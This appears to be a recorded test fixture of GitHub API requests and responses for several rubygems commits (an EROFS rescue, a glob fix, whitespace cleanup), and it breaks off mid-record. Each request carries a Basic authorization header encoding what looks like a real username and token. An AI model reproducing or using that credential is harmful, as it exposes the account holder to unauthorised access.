https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4430' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c03025dbc749b0d510f6c199ff6f3fb3" Last-Modified: - Fri, 06 Oct 2017 06:23:57 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.055045' X-Github-Request-Id: - A2D4:4D96:971A73:13A41C0:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"aaaddde172d10847822ae4fc5186ad3ff1cc9f99","commit":{"author":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2015-12-19T14:48:21Z"},"committer":{"name":"Nobuyoshi Nakada","email":"nobu@ruby-lang.org","date":"2017-10-06T06:23:57Z"},"message":"rescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.","tree":{"sha":"6c4980e97e877db8f0b9831decb361a5cac79d02","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6c4980e97e877db8f0b9831decb361a5cac79d02"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2\n\niF4EABEIAAYFAlnXIX4ACgkQS8fW31jY32AtkAD/dL9eZzogEoPnV3ZeRc55KZAC\nTBqrqD+5PrQ86wZJi3cBAKrm1tZB7Wrt/4Le9k8BWxXYv+K1FTF45JlUCHg6fj8M\n=foJc\n-----END PGP SIGNATURE-----","payload":"tree 6c4980e97e877db8f0b9831decb361a5cac79d02\nparent b3a0510531e3f4097f656762b86f3391dd461971\nauthor Nobuyoshi Nakada 1450536501 +0900\ncommitter Nobuyoshi Nakada 1507271037 +0900\n\nrescue EROFS\n\nWhen the source directory is placed on a read-only filesystem,\nEROFS is raised but not EACCES.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","html_url":"https://github.com/rubygems/rubygems/commit/aaaddde172d10847822ae4fc5186ad3ff1cc9f99","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/aaaddde172d10847822ae4fc5186ad3ff1cc9f99/comments","author":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"committer":{"login":"nobu","id":16700,"avatar_url":"https://avatars0.githubusercontent.com/u/16700?v=4","gravatar_id":"","url":"https://api.github.com/users/nobu","html_url":"https://github.com/nobu","followers_url":"https://api.github.com/users/nobu/followers","following_url":"https://api.github.com/users/nobu/following{/other_user}","gists_url":"https://api.github.com/users/nobu/gists{/gist_id}","starred_url":"https://api.github.com/users/nobu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nobu/subscriptions","organizations_url":"https://api.github.com/users/nobu/orgs","repos_url":"https://api.github.com/users/nobu/repos","events_url":"https://api.github.com/users/nobu/events{/privacy}","received_events_url":"https://api.github.com/users/nobu/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"d819bdee02e451fe61034f8c54ef77ec2b956002","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/aaaddde172d10847822ae4fc5186ad3ff1cc9f99/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/aaaddde172d10847822ae4fc5186ad3ff1cc9f99/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=aaaddde172d10847822ae4fc5186ad3ff1cc9f99","patch":"@@ -163,7 +163,7 @@ module Gem\n # these are defined in Ruby 1.8.7, hence the need for this convoluted setup.\n \n READ_BINARY_ERRORS = begin\n- read_binary_errors = [Errno::EACCES]\n+ read_binary_errors = [Errno::EACCES, Errno::EROFS]\n read_binary_errors << Errno::ENOTSUP if Errno.const_defined?(:ENOTSUP)\n read_binary_errors\n end.freeze"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4429' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"858cc6e2d9b0d2a6cc8f31986ccd0ead" Last-Modified: - Fri, 06 Oct 2017 06:05:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.061728' X-Github-Request-Id: - C5A6:4D97:903ACF:1C48109:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"edadc27ce5eed3aab6cdccb665872a69f8483f1f","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T06:05:33Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T06:05:33Z"},"message":"Auto merge of #2010 - ahorek:remove_gempath, r=segiddins\n\nmatches_for_glob - remove root path\n\n# Description:\nHi,\nduring my testing I found out that this method uses a wierd glob pattern.\n\n```\n def matches_for_glob glob # TODO: rename?\n # TODO: do we need these?? Kill it\n glob = File.join(self.lib_dirs_glob, glob)\n\n Dir[glob].map { |f| f.untaint } # FIX our tests are broken, run w/ SAFE=1\n end\n```\n\nexample:\nc:/rubyinstaller/sandbox/ruby25_mingw/lib/ruby/gems/2.5.0/gems/bigdecimal-1.3.2/{**c:/rubyinstaller/sandbox/ruby25_mingw/lib/ruby/gems/2.5.0/extensions/x64-mingw32/2.5.0/bigdecimal-1.3.2**,lib}\n\nI think it''s a bug because the absolute path in the pattern will never be matched.\n\nI attached a PR that removes absolute paths from the pattern. What do you think?\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"353be10c6190accc4b71d40b1a0691dbf666cc1f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/353be10c6190accc4b71d40b1a0691dbf666cc1f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f","html_url":"https://github.com/rubygems/rubygems/commit/edadc27ce5eed3aab6cdccb665872a69f8483f1f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/edadc27ce5eed3aab6cdccb665872a69f8483f1f/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971"},{"sha":"abe2727c2f6e031534fdf837f412e88dda77bd96","url":"https://api.github.com/repos/rubygems/rubygems/commits/abe2727c2f6e031534fdf837f412e88dda77bd96","html_url":"https://github.com/rubygems/rubygems/commit/abe2727c2f6e031534fdf837f412e88dda77bd96"}],"stats":{"total":12,"additions":9,"deletions":3},"files":[{"sha":"0d50a9323078423b14d88a43c42198416dff64dd","filename":"lib/rubygems/basic_specification.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/edadc27ce5eed3aab6cdccb665872a69f8483f1f/lib/rubygems/basic_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/edadc27ce5eed3aab6cdccb665872a69f8483f1f/lib/rubygems/basic_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/basic_specification.rb?ref=edadc27ce5eed3aab6cdccb665872a69f8483f1f","patch":"@@ -275,10 +275,10 @@ def matches_for_glob glob # TODO: rename?\n # for this spec.\n \n def lib_dirs_glob\n- dirs = if self.require_paths.size > 1 then\n- \"{#{self.require_paths.join('','')}}\"\n+ dirs = if self.raw_require_paths.size > 1 then\n+ \"{#{self.raw_require_paths.join('','')}}\"\n else\n- self.require_paths.first\n+ self.raw_require_paths.first\n end\n \n \"#{self.full_gem_path}/#{dirs}\".dup.untaint"},{"sha":"53b9dab02d9284c3ec7c1e169b709a6d6b076e9a","filename":"test/rubygems/test_gem_stub_specification.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/edadc27ce5eed3aab6cdccb665872a69f8483f1f/test/rubygems/test_gem_stub_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/edadc27ce5eed3aab6cdccb665872a69f8483f1f/test/rubygems/test_gem_stub_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stub_specification.rb?ref=edadc27ce5eed3aab6cdccb665872a69f8483f1f","patch":"@@ -95,6 +95,12 @@ def test_lib_dirs_glob\n assert_equal File.join(stub.full_gem_path, ''lib''), stub.lib_dirs_glob\n end\n \n+ def test_lib_dirs_glob_with_extension\n+ stub = stub_with_extension\n+\n+ assert_equal File.join(stub.full_gem_path, ''lib''), stub.lib_dirs_glob\n+ end\n+\n def test_matches_for_glob\n stub = stub_without_extension\n code_rb = File.join stub.gem_dir, ''lib'', ''code.rb''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:08 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4428' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"38f612ec13be9ebd0673397ad8b3cd64" Last-Modified: - Fri, 06 Oct 2017 05:18:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044799' X-Github-Request-Id: - A2D8:4D95:F484A5:1C8447C:5A50E478 body: encoding: ASCII-8BIT string: '{"sha":"b3a0510531e3f4097f656762b86f3391dd461971","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T05:18:54Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-06T05:18:54Z"},"message":"Auto merge of #2025 - hsbt:remove-trailing-whitespace, r=hsbt\n\nRemoved trailing-whitespaces\n\nI always faced this issue when merging ruby core repository.","tree":{"sha":"962630f5da518ea031f2908eb05534468870d59a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/962630f5da518ea031f2908eb05534468870d59a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b3a0510531e3f4097f656762b86f3391dd461971","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971","html_url":"https://github.com/rubygems/rubygems/commit/b3a0510531e3f4097f656762b86f3391dd461971","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b3a0510531e3f4097f656762b86f3391dd461971/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3"},{"sha":"5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","html_url":"https://github.com/rubygems/rubygems/commit/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"54c024615032d8f99b1bfae23067c5dd6a92ea9a","filename":"test/rubygems/test_gem_commands_sources_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/b3a0510531e3f4097f656762b86f3391dd461971/test/rubygems/test_gem_commands_sources_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b3a0510531e3f4097f656762b86f3391dd461971/test/rubygems/test_gem_commands_sources_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_sources_command.rb?ref=b3a0510531e3f4097f656762b86f3391dd461971","patch":"@@ -157,7 +157,7 @@ def test_execute_add_redundant_source_trailing_slash\n EOF\n \n assert_equal expected, @ui.output\n- assert_equal '''', @ui.error \n+ assert_equal '''', @ui.error\n end\n \n def test_execute_add_http_rubygems_org"},{"sha":"32299827781e66fc09e9977a4de6d1bf0a32e1f5","filename":"test/rubygems/test_gem_ext_rake_builder.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/b3a0510531e3f4097f656762b86f3391dd461971/test/rubygems/test_gem_ext_rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b3a0510531e3f4097f656762b86f3391dd461971/test/rubygems/test_gem_ext_rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_rake_builder.rb?ref=b3a0510531e3f4097f656762b86f3391dd461971","patch":"@@ -53,7 +53,7 @@ def test_class_build_with_args\n assert_match %r%^#{Regexp.escape @@ruby} mkrf_conf\\.rb%, output\n assert_match %r%^#{Regexp.escape rake} RUBYARCHDIR=#{Regexp.escape @dest_path} RUBYLIBDIR=#{Regexp.escape @dest_path}%, output\n end\n- end \n+ end\n \n def test_class_build_fail\n create_temp_mkrf_file(\"task :default do abort ''fail'' end\")\n@@ -69,7 +69,7 @@ def test_class_build_fail\n assert_match %r%^rake failed%, error.message\n end\n end\n- \n+\n def create_temp_mkrf_file(rakefile_content)\n File.open File.join(@ext, ''mkrf_conf.rb''), ''w'' do |mkrf_conf|\n mkrf_conf.puts <<-EO_MKRF"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:08 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:09 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4427' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"83f969b097afafbe43c9ea136b4c023e" Last-Modified: - Fri, 06 Oct 2017 03:42:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.054499' X-Github-Request-Id: - A2DA:4D96:971AA2:13A422E:5A50E479 body: encoding: ASCII-8BIT string: '{"sha":"5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-09-13T01:37:21Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-06T03:42:53Z"},"message":"Removed trailing-whitespaces","tree":{"sha":"962630f5da518ea031f2908eb05534468870d59a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/962630f5da518ea031f2908eb05534468870d59a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","html_url":"https://github.com/rubygems/rubygems/commit/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7243d5461ce0230e7bfea38d2f3764a511b9ace3","url":"https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3","html_url":"https://github.com/rubygems/rubygems/commit/7243d5461ce0230e7bfea38d2f3764a511b9ace3"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"54c024615032d8f99b1bfae23067c5dd6a92ea9a","filename":"test/rubygems/test_gem_commands_sources_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/test/rubygems/test_gem_commands_sources_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/test/rubygems/test_gem_commands_sources_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_sources_command.rb?ref=5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","patch":"@@ -157,7 +157,7 @@ def test_execute_add_redundant_source_trailing_slash\n EOF\n \n assert_equal expected, @ui.output\n- assert_equal '''', @ui.error \n+ assert_equal '''', @ui.error\n end\n \n def test_execute_add_http_rubygems_org"},{"sha":"32299827781e66fc09e9977a4de6d1bf0a32e1f5","filename":"test/rubygems/test_gem_ext_rake_builder.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/test/rubygems/test_gem_ext_rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea/test/rubygems/test_gem_ext_rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_rake_builder.rb?ref=5e33d2cafb72a98998a4bd8e4df24f4cb3c6e5ea","patch":"@@ -53,7 +53,7 @@ def test_class_build_with_args\n assert_match %r%^#{Regexp.escape @@ruby} mkrf_conf\\.rb%, output\n assert_match %r%^#{Regexp.escape rake} RUBYARCHDIR=#{Regexp.escape @dest_path} RUBYLIBDIR=#{Regexp.escape @dest_path}%, output\n end\n- end \n+ end\n \n def test_class_build_fail\n create_temp_mkrf_file(\"task :default do abort ''fail'' end\")\n@@ -69,7 +69,7 @@ def test_class_build_fail\n assert_match %r%^rake failed%, error.message\n end\n end\n- \n+\n def create_temp_mkrf_file(rakefile_content)\n File.open File.join(@ext, ''mkrf_conf.rb''), ''w'' do |mkrf_conf|\n mkrf_conf.puts <<-EO_MKRF"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:09 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7243d5461ce0230e7bfea38d2f3764a511b9ace3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:09 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4426' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a309d54190195365046f5293778492f0" Last-Modified: - Fri, 06 Oct 2017 00:20:01 GMT X-Oauth-Scopes: 